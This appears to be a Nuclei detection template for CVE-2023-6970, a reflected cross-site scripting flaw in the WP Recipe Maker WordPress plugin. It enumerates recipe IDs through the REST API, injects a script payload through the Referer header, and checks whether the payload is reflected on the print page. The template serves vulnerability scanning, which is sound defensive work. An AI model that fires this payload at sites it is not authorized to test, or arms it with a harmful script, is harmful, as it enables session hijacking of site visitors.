WP Recipe Maker <= 9.1.0 - Reflected XSS via Referer Header

id: CVE-2023-6970

info:
  name: WP Recipe Maker <= 9.1.0 - Reflected XSS via Referer Header
  author: Shivam Kamboj
  severity: medium
  description: |
    The WP Recipe Maker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Referer' header in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping. The Referer header value is used directly in the href attribute of the "Back" button on the print page without proper escaping.
  impact: |
    Attackers can execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of WP Recipe Maker plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-recipe-maker/wp-recipe-maker-910-reflected-cross-site-scripting-via-referer
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6970
    - https://plugins.trac.wordpress.org/changeset/3019769/wp-recipe-maker/trunk/templates/public/print.php
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2023,wordpress,wp-plugin,xss,wp-recipe-maker,wp

flow: |
  http(1);
  for (let recipe of iterate(template["recipe_ids"])) {
    set("recipe_id", recipe);
    http(2);
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/wprm_recipe?per_page=5"

    matchers:
      - type: word
        words:
          - "wprm_recipe"
        internal: true

    extractors:
      - type: json
        name: recipe_ids
        json:
          - '.[].id'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?wprm_print={{recipe_id}}"

    headers:
      Referer: "{{BaseURL}}/\"><script>alert(document.domain)</script>\""

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'wprm-print-button-back')
          - contains(body, '<script>alert(document.domain)</script>')
        condition: and
# digest: 4b0a0048304602210091358d7e7ef1e0a86fa118ff3a0e4918014310b5c6c73d78cdcabf817d9aef61022100da29f8026cfd2e4ab1a80711ae4c0d92f51c13307a93ef5f738b269df3008b01:922c64590222798bb761d5b6d8e72950